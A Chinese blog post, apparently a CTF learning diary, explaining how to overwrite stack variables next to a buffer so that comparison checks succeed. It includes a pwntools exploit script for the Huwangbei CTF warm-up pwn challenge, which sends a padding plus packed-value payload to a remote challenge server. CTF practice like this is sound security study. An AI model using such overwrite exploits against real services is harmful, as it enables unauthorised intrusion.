2018 10 13 pwn的学习0x4 没有缓冲区溢出和护网杯的pwn签到题目

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/shakeyin1998/article/details/83042637

今天所遇到的题目都是判断变量放在内存当中 我们可以使用覆盖来对判断变量进行改变 

当覆盖到变量之后 就可以实现我们想要的跳转

我们要覆盖v5的数值为11.28125 ,点看读进去的buf的地址 和v5的地址

发现相差 是0x20的大小所以直接发送'a'*20+(11.28215za在内存当中的数值)但是如何得到这个数在内存当中的数值呢 我们在汇编代码当中看

进去之后看到了数值

直接sendline('a'*0x20+'\x00\x80\x34\x41')就可以了

同样的还有今天的pwn签到题目 一样的套路 但是需要我们进行覆盖的是两个数值不是一个数值了

分别是指出来的 v7,v8 

然后要在汇编当中看到比较的数值在内存当中的存储样子 

直接给exp

from pwn import *

context.log_level = 'debug'

LOCAL = 0
if LOCAL:
        r = process('task_gettingStart_ktQeERc')
        #r =remote('localhost',4000)
else:
        r =remote('49.4.78.189',30274)

payload = 'a' * 0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)

r.recv()
r.sendline(payload)

r.interactive()
~                                    

猜你喜欢

转载自blog.csdn.net/shakeyin1998/article/details/83042637